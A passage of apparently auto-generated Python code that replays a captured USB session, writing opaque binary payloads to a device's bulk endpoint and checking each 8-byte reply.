b\"\\xD9\\x2F\\x51\\x3D\\x13\\x3A\\x79\\x56\\x53\\x28\\x2E\\x87\\x35\\x71\\xA3\\x0D\"\n b\"\\x14\\x7C\\xD1\\x2E\\xF6\\x1D\\x59\\x73\\x77\\x10\\x3E\\x97\\x10\\xF0\\xB5\\x52\"\n b\"\\xA1\\xEF\\xD1\\x47\\xCA\\x4B\\x4A\\xFE\\x94\\x67\\x26\\x7F\\x5A\\xD4\\xB8\\xA3\"\n b\"\\xD9\\x0C\\xF7\\x32\\x37\\x58\\xDB\\x95\\xB6\\x6C\\x24\\xAA\\x55\\xAD\\xBD\\x1B\"\n b\"\\x2D\\x3B\\x94\\x0C\\xD0\\x09\\x51\\x84\\xB8\\x4C\\x2D\\xDD\\xF3\\xE3\\x8F\\x3D\"\n b\"\\x65\\xF6\\xA8\\x30\\xA2\\x05\\xED\\x15\\x8F\\x64\\x5C\\x9A\\x48\\xE2\\xE3\\x2F\"\n b\"\\x12\\x4E\\xD2\\x49\\x16\\x41\\x09\\xC6\\x91\\x9B\\xA9\\x00\\x59\\x6B\\x21\\x8D\"\n b\"\\x66\\xAB\\xE6\\x1F\\x28\\xC1\\x23\\x35\\xC9\\x25\\xD2\\xA0\\x11\\x8E\\x1D\\xE9\"\n b\"\\x56\\xA7\\xC3\\xF8\\xA9\\x0A\\xEF\\x9E\\x5D\\x52\\xE8\\x88\")\n # Generated from packet 1687/1688\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1687/1688\")\n # Generated from packet 1689/1690\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x4C\\xA1\\x7B\\xBA\\x3F\\x1D\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x39\\x10\\x90\\x63\\x49\\xA7\\xCC\\x00\"\n b\"\\x8C\\x84\\x0F\\x19\\xA0\\x6F\\xE2\\xB9\\x86\\x42\\x15\\x72\\xFF\\x01\\xCD\\xF5\"\n b\"\\xB3\\x1C\\x88\\xEE\\xDD\\x3E\\x39\\x69\\x3C\\xB9\\x48\\xB1\\x00\\x09\\x76\\xE7\"\n b\"\\x8E\\x01\\xD1\\x67\\x79\\x43\\x23\\xB1\\x47\\x82\\x1D\\xAB\\x21\\xCD\\xB2\\x21\"\n b\"\\x37\\x8C\\x6E\\x12\\xD9\\x67\\xC7\\x8C\\x78\\x2D\\xD4\\xDB\\xD3\\xB9\\xA7\\x3B\"\n b\"\\x0A\\x20\\xD2\\xFB\\x72\\xD2\\xD8\\xBA\\xF3\\x57\\x31\\xAF\\x6C\\x91\\xA6\\xCF\"\n b\"\\xDF\\x57\\xDA\\xF7\\xD6\\x7C\\x6F\\x7F\\xB0\\x48\\x06\\x17\\xF7\\xF2\\xED\\xFA\"\n b\"\\x97\\x8F\\x98\\x92\\x1B\\x6E\\x79\\x2D\\x95\\xBD\\x2E\\x09\\xE1\\xDB\\xDF\\x92\"\n b\"\\xD2\\x59\\xF5\\xB0\\x6D\\x18\\xBA\\x77\\xF9\\xDF\\xB8\\x8B\\x31\\x49\\x99\\x9D\"\n b\"\\x92\\xA3\\x9A\\xC0\\xC1\\xC9\\xDA\\xB6\\xE6\\x33\\x04\\x30\\xD4\\xF2\\xB0\\x81\"\n b\"\\x75\\x00\\x32\\x9B\\xB1\\x58\\xE1\\x16\\x75\\xFD\\x1F\\xB4\\x98\\x04\\x4B\\xAB\"\n b\"\\x5A\\xDB\\x79\\x05\\x06\\x8D\\x75\\xE2\\xB2\\x30\\x60\\x99\\x5E\\x5C\\x6A\\x60\"\n b\"\\x8B\\x1B\\x67\\xB4\\xFB\\xA5\\xA2\\x6D\\xDE\\x42\\xC8\\xA1\\xB7\\x61\\x81\\x8F\"\n b\"\\x0D\\x27\\xE9\\x3F\\x69\\x0E\\x5A\\xA7\\xEA\\x8F\\x4E\\x6F\\x45\\x45\\x3D\\xFE\"\n b\"\\x7D\\x54\\x0E\\x0E\\x86\\xD7\\x4A\\x5B\\x55\\x60\\x1B\\x06\\xD2\\xE0\\xF2\\x2E\"\n b\"\\x5E\\xD5\\x62\\x88\\x02\\x69\\x98\\x70\\x79\\xC1\\x71\\x6A\\x7E\\x9F\\xB3\\x58\"\n b\"\\x32\\xB3\\x68\\x63\\xE4\\x60\\xB4\\x32\\x5D\\xCF\\x7F\\xF7\")\n # Generated from packet 1691/1692\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1691/1692\")\n # Generated from packet 1693/1694\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x02\\x60\\x73\\x76\\x89\\x6E\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x5A\\xF0\\x01\\x84\\xC1\\xF3\\x04\\xB6\"\n b\"\\x1D\\x5D\\xF7\\x49\\x58\\xBE\\x56\\x14\\xED\\x07\\x4B\\xBF\\xB0\\x3A\\xFF\\x0A\"\n b\"\\x98\\xA6\\xFB\\xA6\\xF8\\x55\\x80\\x72\\xDB\\xA0\\x37\\xEE\\xA1\\x15\\xF1\\x25\"\n b\"\\x7E\\xC7\\x3B\\x11\\x19\\xDF\\xBD\\xCD\\x7A\\x87\\x79\\x3F\\x20\\xEE\\x68\\xEF\"\n b\"\\x36\\x30\\x9A\\x3A\\x64\\x04\\x92\\xC2\\xE7\\x18\\x04\\x14\\xDE\\xAF\\xFA\\xEF\"\n b\"\\xE5\\x15\\x19\\xE6\\x5F\\x8E\\xD2\\xE8\\x11\\xF1\\x5A\\x90\\xB5\\x15\\x62\\x79\"\n b\"\\xAE\\xBE\\xBE\\x52\\x4B\\x6D\\x4E\\xC0\\xA1\\x32\\xBE\\x1E\\x51\\x8F\\x65\\x15\"\n b\"\\x98\\xFA\\x60\\xCD\\x85\\xC7\\x3E\\x3E\\x1F\\x4A\\x77\\x21\\xDE\\xDC\\x78\\x2F\"\n b\"\\xCF\\xE2\\xDF\\x1F\\xB8\\x59\\xB8\\xDB\\xAC\\x9F\\xFE\\x35\\x41\\x94\\xB8\\x25\"\n b\"\\xBA\\x43\\xEE\\x9A\\xAD\\x02\\x59\\x0F\\x9D\\xBD\\xA4\\x83\\x4D\\xE1\\x72\\x21\"\n b\"\\x75\\x8E\\x60\\x85\\xA5\\x14\\x64\\x50\\xAE\\xC1\\xB7\\xA3\\x72\\x6A\\xA3\\xC9\"\n b\"\\xDD\\x41\\x7C\\x00\\x55\\x61\\x47\\x0B\\x8A\\x82\\x17\\x0B\\x3D\\x32\\x1D\\x71\"\n b\"\\x6F\\x32\\xCC\\xE4\\x07\\x50\\x88\\xFA\\xAB\\x86\\xC1\\xB3\\xD9\\xC3\\xD2\\xE6\"\n b\"\\xCC\\x77\\x93\\x71\\xF9\\x11\\x6E\\x86\\x46\\x3B\\x69\\xFD\\xD3\\x98\\xCA\\xA9\"\n b\"\\xF0\\x65\\x43\\x9B\\x5F\\x25\\x82\\x4D\\x0C\\x7B\\x3F\\x28\\x8A\\x07\\xDC\\xAA\"\n b\"\\x26\\xB5\\xBD\\x0D\\x82\\xCA\\xBA\\x9F\\x9B\\x27\\x48\\xBC\\xD4\\xD8\\x6F\\xC8\"\n b\"\\x55\\x45\\x9D\\x30\\x98\\x53\\x21\\xC2\\xFE\\x4E\\x0D\\x7A\")\n # Generated from packet 1695/1696\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1695/1696\")\n # Generated from packet 1697/1698\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x04\\xF3\\xE4\\xA5\\x5E\\x1D\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xAA\\xFE\\x26\\x4B\\xEE\\x85\\xA7\\xC8\"\n b\"\\xDC\\x08\\xA4\\xF6\\xF2\\x27\\x8F\\xE6\\x3B\\xDD\\xF9\\x1F\\x2C\\xB9\\xD5\\xBE\"\n b\"\\xF4\\xAA\\x1C\\x07\\xC3\\x0F\\xA3\\x13\\xFA\\x60\\xE0\\x1F\\x5D\\xDB\\x75\\x33\"\n b\"\\x04\\xA6\\x58\\xFE\\x57\\x5C\\x5A\\xDE\\xDA\\xF9\\x8D\\x57\\xA5\\xC5\\x06\\x8C\"\n b\"\\xEF\\x61\\x13\\x0B\\x7C\\x00\\x57\\x92\\xD4\\x04\\xB7\\x74\\x6C\\x5B\\xB4\\x1D\"\n b\"\\xE1\\x26\\x1F\\x44\\x86\\x3F\\x8D\\xC3\\xAB\\xEF\\x22\\x50\\xD7\\xA5\\xE4\\x44\"\n b\"\\x25\\xD0\\x6E\\xDD\\x78\\xBD\\x0F\\x3C\\x07\\xB0\\xFE\\x30\\xCB\\x09\\xBB\\x9D\"\n b\"\\x5E\\x0B\\x4C\\x82\\x0A\\x83\\x8B\\x3D\\x9B\\x91\\x93\\x45\\x0B\\x59\\xDC\\x11\"\n b\"\\x22\\x44\\x0D\\xDA\\x64\\x9F\\xE8\\x5C\\x03\\x94\\x4E\\xE6\\xDC\\xDE\\x15\\xF1\"\n b\"\\x9C\\xB6\\x12\\xB0\\x4A\\xEC\\x93\\x96\\xC5\\x88\\xC2\\xF3\\x74\\x7C\\xBD\\xFE\"\n b\"\\x7F\\x37\\xE8\\x49\\x57\\xDB\\x83\\x8A\\x50\\x85\\xFD\\xCC\\x52\\xA0\\x4F\\xE1\"\n b\"\\xE3\\xA1\\x7C\\x1C\\x06\\x68\\x58\\x3A\\xCA\\x69\\x6E\\xAA\\x41\\x76\\x84\\x08\"\n b\"\\x00\\xE0\\xE6\\x9A\\xBB\\xA7\\x90\\x47\\x80\\x65\\xB5\\x89\\x33\\x93\\xEB\\x77\"\n b\"\\x8F\\xCF\\x0B\\x79\\x27\\xB0\\xEA\\x38\\x49\\x8F\\xA3\\x71\\x20\\xC5\\xDC\\xB4\"\n b\"\\xC2\\xAB\\x6A\\x94\\x5C\\x76\\xD2\\x5C\\xA9\\xAB\\x15\\x6E\\xFD\\x0F\\xD9\\x98\"\n b\"\\xDA\\x97\\x6F\\x4D\\x90\\x75\\x57\\x4B\\xAE\\xFE\\x58\\xDB\\x75\\x64\\x4E\\x70\"\n b\"\\xB2\\x1A\\xFE\\xB7\\xF7\\x59\\x73\\xCD\\x86\\x40\\x29\\x4D\")\n # Generated from packet 1699/1700\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1699/1700\")\n # Generated from packet 1701/1702\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xA7\\x5A\\xE1\\x86\\xF1\\x1F\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1B\\x63\\xF9\\x23\\x12\\x41\\x5F\\x5C\"\n b\"\\x65\\xFA\\x6F\\x32\\x3E\\xF0\\xDC\\xF3\\xF0\\xA2\\xB2\\xBF\\x2E\\x8B\\x49\\x02\"\n b\"\\x39\\xDA\\xFE\\x77\\x6F\\x84\\xC6\\x45\\x99\\x51\\x50\\xD8\\xD7\\xD4\\xFD\\x57\"\n b\"\\x8A\\x05\\xB9\\x92\\x95\\x14\\x08\\x81\\x44\\x80\\x9E\\xDA\\xE2\\x86\\xD4\\x14\"\n b\"\\x17\\x6B\\x8D\\x1A\\xED\\xF8\\x19\\x4D\\xB9\\x41\\x18\\x55\\x95\\x24\\x5C\\x05\"\n b\"\\xB9\\x0C\\xEC\\x83\\xD1\\x83\\xDC\\xE0\\x5E\\x77\\xD4\\xB4\\x35\\x19\\x0B\\x49\"\n b\"\\xC9\\xBF\\x89\\x04\\xAB\\x20\\x8D\\x48\\x9B\\x76\\x8D\\xB9\\x0A\\x2F\\xE2\\x0F\"\n b\"\\x2E\\xB7\\x4E\\x08\\x5C\\x6C\\xE2\\x39\\xA0\\xEF\\xC9\\x87\\x4F\\xFF\\x6D\\x20\"\n b\"\\xFB\\x40\\xCC\\x9F\\x47\\x1C\\x79\\x39\\xF9\\x86\\x14\\xDA\\xB9\\x38\\x67\\x12\"\n b\"\\x8E\\xE7\\x44\\xCC\\x23\\xAE\\x55\\x9B\\x83\\x31\\xB7\\x0F\\x13\\x20\\x6A\\xD6\"\n b\"\\xCD\\x1B\\xB4\\xB5\\xEA\\x06\\x13\\x2A\\x78\\x18\\xCC\\xD0\\x44\\x60\\xF9\\x47\"\n b\"\\x07\\xD9\\xE0\\x5E\\x63\\x60\\x16\\xA6\\x0E\\x6F\\x5E\\x0A\\x7F\\x1A\\x6C\\xD3\"\n b\"\\xA6\\x6A\\x9B\\x9D\\x08\\x2D\\xC8\\x48\\xC5\\x8F\\x5C\\x2D\\x0D\\xAD\\xDB\\x05\"\n b\"\\xE4\\x68\\x9D\\x6B\\x26\\xEB\\x28\\x4C\\x71\\x00\\x11\\x33\\xC4\\x1F\\x9A\\xAE\"\n b\"\\x52\\x91\\x07\\x63\\x5D\\x64\\x69\\x55\\xAB\\x16\\x82\\xAD\\x85\\x8A\\x24\\xAF\"\n b\"\\xD8\\xC2\\xE1\\x87\\x14\\x47\\x42\\x40\\x46\\x7A\\x4B\\xBB\\xBB\\x01\\x7D\\x48\"\n b\"\\x2B\\xB1\\x75\\xDC\\xC5\\xD7\\xF9\\x11\\x65\\x12\\x7C\\xD4\")\n # Generated from packet 1703/1704\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1703/1704\")\n # Generated from packet 1705/1706\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x6D\\xDC\\xA8\\xF3\\x6D\\x45\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x73\\x7A\\x57\\x3A\\x3F\\x7B\\x5F\"\n b\"\\x1F\\x02\\x39\\x17\\xF9\\xFA\\xBB\\x9C\\x1C\\x3E\\xA3\\x5D\\x23\\x9F\\x7C\\x4D\"\n b\"\\xD2\\x30\\xD6\\xEB\\x1C\\xDC\\x06\\x77\\x8B\\x82\\x5D\\xAE\\xCE\\x89\\xC9\\x13\"\n b\"\\xFB\\x5F\\x6A\\x6F\\x68\\x3F\\xBE\\x32\\xDA\\xB5\\x96\\xF3\\xC2\\x5A\\x06\\x25\"\n b\"\\xE8\\xBE\\x39\\x93\\x0A\\x8A\\x7E\\xED\\xB6\\x81\\x3D\\xA6\\x8F\\x43\\xE6\\xBB\"\n b\"\\x98\\xA2\\x0F\\xB8\\x62\\x1C\\x5A\\xDE\\xB9\\x51\\xFF\\x5C\\x0B\\xA4\\xDF\\x12\"\n b\"\\x24\\xD4\\xCE\\x5B\\x54\\xB9\\x5F\\xB2\\xC1\\x3C\\xBA\\x98\\x7E\\x66\\x85\\x13\"\n b\"\\xFB\\x4A\\x68\\xE3\\x33\\x4D\\x76\\xF8\\x5E\\x78\\xB2\\xB7\\x7E\\xAA\\xF2\\x11\"\n b\"\\x3B\\xB7\\xD3\\x1C\\x71\\xE7\\x22\\xE2\\x84\\xB7\\xE6\\x80\\x76\\x98\\x21\\x61\"\n b\"\\x45\\xD7\\x4F\\xC7\\xD4\\x28\\xF0\\xC5\\x8B\\xE3\\xBF\\xDC\\xD7\\xC8\\x9E\\x02\"\n b\"\\x55\\x96\\x1C\\x23\\x26\\xCA\\x0B\\x8E\\x3D\\xF0\\xD5\\x14\\x2A\\xDB\\x85\\x16\"\n b\"\\xB9\\x84\\x9E\\x25\\xD7\\xDF\\x68\\x34\\xDF\\x4E\\x69\\x5E\\xA8\\xC8\\xC6\\x19\"\n b\"\\xC1\\x3B\\xFD\\xF0\\xD6\\xEF\\xF5\\xA2\\xA2\\x61\\x79\\x23\\xF6\\xF8\\xBF\\x93\"\n b\"\\xE0\\xC0\\x2A\\x4C\\xA6\\xF0\\x0B\\x7C\\xB7\\xE1\\x94\\xDC\\xDC\\xFC\\x7D\\x07\"\n b\"\\x85\\x4E\\xEE\\xC2\\xEC\\xC4\\x3D\\x80\\x05\\x17\\x35\\x88\\xEB\\x55\\xBF\\xCE\"\n b\"\\xF7\\x0A\\xB3\\xCA\\x2E\\xCC\\x94\\x7A\\x58\\x5C\\x88\\x06\\x47\\x1B\\xAF\\x11\"\n b\"\\x2F\\x11\\x5F\\xE8\\x84\\x7E\\x97\\x18\\x1F\\x23\\xB5\\x8A\")\n # Generated from packet 1707/1708\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1707/1708\")\n # Generated from packet 1709/1710\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xBB\\x32\\xFD\\x9A\\x0E\\x7E\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x97\\xC5\\x1D\\xA2\\x13\\x2A\\x56\\x58\"\n b\"\\x55\\xFB\\x67\\x11\\xF5\\x49\\xF0\\xC8\\xE6\\x04\\x6D\\xE2\\xA7\\xAD\\xE3\\x53\"\n b\"\\x9A\\xE4\\x23\\xBA\\x81\\x6F\\x98\\x5D\\xD4\\xDA\\xD7\\x12\\xE7\\xF1\\x86\\x42\"\n b\"\\x5B\\x41\\x66\\xC9\\x23\\x9F\\xE0\\xB1\\x26\\x33\\x56\\x6F\\xC1\\xA3\\xB9\\x03\"\n b\"\\x38\\xB2\\x88\\x13\\x23\\x63\\x2A\\x75\\xFF\\x64\\xF0\\x68\\x77\\x57\\x12\\x82\"\n b\"\\x57\\x91\\xF5\\x65\\x7F\\xF0\\x14\\x75\\x7B\\xBE\\x7C\\x12\\xB7\\x69\\x5C\\xA4\"\n b\"\\x80\\x0B\\xD8\\x76\\x05\\x55\\xD1\\x46\\xE6\\x54\\x25\\x74\\x3F\\x62\\x84\\xB9\"\n b\"\\xDC\\x53\\x78\\x83\\xF2\\xBF\\xE7\\xC3\\x6F\\xCB\\xDD\\xEC\\x85\\xC4\\x5B\\x3A\"\n b\"\\x4C\\x65\\x3C\\xF9\\x44\\x75\\x9C\\x64\\x4E\\xB8\\x8C\\x2D\\xF6\\xD4\\x8E\\x34\"\n b\"\\x21\\x52\\xFA\\x6C\\x44\\xC0\\x42\\x49\\x2D\\x9A\\x7F\\xCA\\xB6\\x8C\\x04\\x67\"\n b\"\\x88\\xBB\\xEF\\x9B\\x5F\\x42\\xB5\\x2B\\x26\\xD7\\x0A\\x6E\\x87\\xAD\\xD1\\xCB\"\n b\"\\xB3\\xDC\\x73\\x12\\xC0\\x33\\x88\\xCB\\x73\\x10\\x01\\xA7\\x1A\\xB4\\x63\\xB6\"\n b\"\\xDB\\x22\\xCC\\x34\\xFA\\x4D\\x5A\\x56\\x99\\x39\\xFA\\x7A\\xCA\\x77\\x5A\\xAD\"\n b\"\\x8D\\x41\\xF8\\xEE\\x50\\xF9\\x14\\x3A\\x6D\\xE7\\xB8\\xDF\\x20\\xF7\\x96\\x65\"\n b\"\\x2C\\x19\\xF6\\x55\\x6A\\xC5\\x4E\\x63\\x1D\\xE7\\x5D\\x7F\\xE6\\x69\\xE5\\x09\"\n b\"\\x18\\x5D\\x9E\\xA6\\x2F\\x0F\\x5B\\xFC\\x55\\x5E\\x1D\\x18\\x7C\\xF3\\xC7\\x80\"\n b\"\\x56\\xC2\\xB2\\x8C\\x8C\\xE0\\x59\\xBE\\xCD\\xB5\\x9C\\xA5\")\n # Generated from packet 1711/1712\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1711/1712\")\n # Generated from packet 1713/1714\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xAE\\x71\\x16\\x0B\\xE3\\x06\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xBE\\x1C\\x96\\x06\\xF3\\x49\\x82\\x37\"\n b\"\\xCF\\x2E\\x65\\xB5\\x7C\\x30\\x31\\xEE\\x15\\x6C\\xD4\\x87\\xBC\\x36\\x0E\\x2D\"\n b\"\\x02\\xC5\\x4B\\x9D\\x23\\x86\\x1A\\xAD\\x3E\\xE8\\xC7\\x1D\\xA0\\xEA\\x47\\xCA\"\n b\"\\xC5\\x9F\\x8C\\xC4\\x24\\x66\\x08\\xE2\\xAB\\xD8\\x24\\xDE\\x48\\xD1\\x25\\x6B\"\n b\"\\x45\\x78\\x91\\x2A\\xB5\\xDD\\xDD\\x8F\\x04\\xF6\\x51\\x31\\xD0\\xCA\\xDF\\xF6\"\n b\"\\xBB\\xD9\\xC3\\x26\\x80\\x97\\xE4\\x95\\x7F\\x2C\\x99\\xBF\\x5F\\xD1\\x00\\xE4\"\n b\"\\x91\\x4C\\xD1\\xFF\\xD2\\xDB\\xB8\\x5D\\x07\\x00\\x46\\x51\\x3D\\x01\\x52\\xB5\"\n b\"\\xB4\\xE4\\xB0\\x08\\x12\\x64\\x2E\\xF5\\xEA\\x41\\xDA\\xC8\\x35\\xAB\\x1B\\x3C\"\n b\"\\xA5\\x5A\\xF6\\x83\\x60\\x35\\x6E\\x01\\xBA\\x74\\xDB\\x7E\\xA2\\x1F\\xDF\\x83\"\n b\"\\x3E\\x5B\\x79\\xF8\\x8A\\x02\\x3C\\x3B\\x13\\x8A\\xF8\\x37\\x81\\xF9\\x90\\xE9\"\n b\"\\x84\\xCA\\xBC\\x1F\\xBC\\x83\\x94\\xED\\x9F\\x2E\\x3F\\xCC\\x7E\\x55\\x80\\x1F\"\n b\"\\x46\\xD8\\x73\\xE1\\x52\\x9A\\x0D\\xAC\\xAF\\xB3\\x81\\xFB\\xFB\\x2D\\x6D\\x90\"\n b\"\\x84\\xC8\\x85\\xA8\\xA4\\x77\\x0F\\x27\\x3E\\xC3\\xA1\\x01\\x61\\xB7\\x5E\\x71\"\n b\"\\x22\\x01\\x43\\x95\\xB4\\x4A\\xFC\\xE3\\xC9\\x87\\x34\\x1A\\xC0\\x78\\xB6\\x24\"\n b\"\\xE1\\xBA\\x36\\xF2\\x09\\xAA\\x43\\x52\\x78\\x76\\x90\\xA1\\x72\\xE7\\x28\\xF3\"\n b\"\\x69\\xB3\\x93\\xEA\\x94\\x54\\xA2\\xD1\\x74\\xF6\\x25\\xF3\\x2E\\xE9\\x87\\xA0\"\n b\"\\x55\\x39\\xE3\\x6D\\x5A\\x5C\\xFA\\x00\\x9D\\x9D\\x35\\xDD\")\n # Generated from packet 1715/1716\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1715/1716\")\n # Generated from packet 1717/1718\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x04\\x50\\x32\\xA7\\x6C\\x0A\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x35\\x1B\\x78\\x3C\\x2A\\xC2\\x9D\\xF0\"\n b\"\\xA7\\xA0\\x87\\x7C\\xC0\\xF4\\xB3\\x34\\x17\\x13\\x9E\\xFB\\x0D\\xC8\\x11\\xF9\"\n b\"\\xDC\\xEF\\xFF\\x75\\x89\\xD1\\x7D\\x34\\x8B\\xF8\\x56\\x26\\x30\\x77\\xB6\\xA7\"\n b\"\\x76\\x43\\x0E\\xF2\\xCA\\x8E\\x61\\xD0\\x94\\xEB\\xAE\\xE2\\xBD\\xF4\\xD2\\xBB\"\n b\"\\x9A\\x8B\\x3F\\x4E\\x41\\xCF\\xAE\\x70\\x3A\\x6C\\x3D\\x47\\xE2\\x22\\x51\\xA2\"\n b\"\\xDD\\xFF\\x14\\x2C\\xA5\\x4F\\x3D\\xDC\\x45\\x3A\\x9E\\xED\\x88\\x33\\xAF\\xD7\"\n b\"\\xC5\\x88\\x42\\xC0\\xE4\\xDE\\x40\\xE6\\x62\\x84\\x13\\x33\\xA5\\x57\\x46\\x5E\"\n b\"\\xD7\\xFB\\x32\\xBF\\x89\\xF4\\xBA\\x9C\\xE2\\xB3\\x0E\\x83\\xD6\\x74\\x34\\x4C\"\n b\"\\x95\\x71\\x6C\\xDC\\x4A\\x28\\x96\\xBE\\xFF\\x53\\xD9\\xC3\\xA2\\x34\\x9E\\xAD\"\n b\"\\xC4\\xFD\\x64\\xC0\\x52\\x0B\\xAD\\xAA\\x7A\\xC5\\x18\\x99\\xB8\\xB5\\x45\\x05\"\n b\"\\xA8\\xE4\\xAE\\xC3\\x83\\x74\\xA6\\x20\\xD0\\xA5\\x85\\x0F\\xC3\\x2D\\xE5\\x75\"\n b\"\\xE8\\x58\\x1A\\xDA\\xD1\\x07\\xEE\\x5C\\x22\\xD2\\x96\\xF0\\x4E\\x6E\\x8B\\xEC\"\n b\"\\x05\\x72\\x0E\\x11\\xB6\\x0A\\x16\\xD3\\x83\\x4F\\x71\\x59\\xA8\\x10\\x2D\\x63\"\n b\"\\x94\\x21\\x8D\\xCF\\xC7\\x72\\xFC\\x54\\x4F\\x3F\\x37\\xC2\\xFF\\x17\\x85\\x3F\"\n b\"\\xE4\\xC6\\x13\\xCD\\x5D\\xC4\\x18\\xA2\\x9F\\x3F\\x75\\xFA\\xE4\\x67\\xD0\\x28\"\n b\"\\x45\\x42\\x1C\\x38\\xED\\x47\\x45\\x7E\\xBC\\xA5\\x12\\x39\\x07\\x22\\x6B\\x22\"\n b\"\\xF6\\x14\\xD5\\xA8\\xCE\\xE3\\x87\\xB3\\xA2\\xB4\\xA0\\x4A\")\n # Generated from packet 1719/1720\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1719/1720\")\n # Generated from packet 1721/1722\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x1C\\xA9\\xC2\\x17\\x28\\x43\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0B\\x85\\x69\\xDE\\x8F\\xE4\\xE8\\xBA\"\n b\"\\x3D\\x3C\\xD5\\xA8\\x61\\x98\\x81\\xE2\\x14\\xBA\\x36\\xDA\\x20\\x5E\\x7C\\x8B\"\n b\"\\x42\\xA9\\x2A\\x01\\x2C\\xA2\\x0B\\x76\\x0E\\xB0\\x4F\\xDC\\x01\\x1C\\xD5\\xFE\"\n b\"\\xDA\\x07\\x1C\\x85\\x0D\\xC4\\x2C\\xFD\\xF3\\x69\\xB2\\xF7\\x1C\\x68\\xE1\\x23\"\n b\"\\xEA\\xE5\\xA7\\x83\\xEF\\x4A\\xC2\\x3E\\x32\\x0A\\x85\\xA2\\x59\\xFE\\x2E\\xA6\"\n b\"\\x01\\xE6\\xB6\\x9B\\xC1\\x08\\x12\\x88\\x64\\xBB\\x55\\x7C\\xA4\\xF0\\xAC\\xF5\"\n b\"\\xBB\\x18\\x5D\\xC8\\xBF\\x8D\\xAB\\x2E\\x98\\x3E\\xB9\\xAC\\x5C\\x99\\xEB\\xAC\"\n b\"\\x4F\\xE0\\xAA\\x44\\x84\\xDF\\xE6\\xEC\\x6B\\x6E\\x55\\x26\\x7D\\xA5\\x19\\xA5\"\n b\"\\x7B\\xE0\\x7E\\x32\\x4B\\x6F\\x3F\\x3F\\xBD\\xC1\\xF1\\xF1\\x81\\xE6\\x40\\x22\"\n b\"\\xCA\\x74\\x49\\x48\\x3B\\x9E\\x91\\xAC\\xE5\\xE7\\xA5\\xB7\\x69\\x11\\xAE\\xD1\"\n b\"\\x3A\\x75\\x9F\\xBA\\x9A\\x25\\x91\\xF6\\x15\\x1C\\xCC\\x44\\x6A\\x9B\\xC1\\xE1\"\n b\"\\xCC\\xF6\\x9A\\x73\\xBF\\xE4\\x13\\x46\\x0C\\xFC\\x0F\\xDE\\x0C\\xAA\\x52\\xA9\"\n b\"\\x54\\xF3\\xEE\\x7D\\xC6\\xC0\\x4B\\xC6\\xC0\\x1F\\x0C\\x2E\\x1E\\xA2\\x82\\x4C\"\n b\"\\x12\\x29\\x89\\xFB\\x5B\\x85\\xA3\\x86\\xA6\\x0E\\x95\\x30\\xC1\\x34\\x83\\x46\"\n b\"\\x26\\x9F\\x95\\x5B\\x70\\xF3\\x66\\xDB\\xC1\\xAC\\x41\\xC1\\x43\\x97\\x99\\xB4\"\n b\"\\x08\\xD0\\xA7\\x86\\xB9\\x1D\\xE6\\xD4\\x95\\x57\\x5D\\xDA\\xCB\\x83\\x1F\\xFF\"\n b\"\\x91\\xA9\\x4F\\xA2\\xC7\\xAB\\x59\\x58\\xEF\\x45\\x30\\x37\")\n # Generated from packet 1723/1724\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1723/1724\")\n # Generated from packet 1725/1726\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xDB\\xEF\\xA5\\x30\\xA1\\x36\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x71\\x74\\x0F\\x35\\x13\\x89\\x20\\x38\"\n 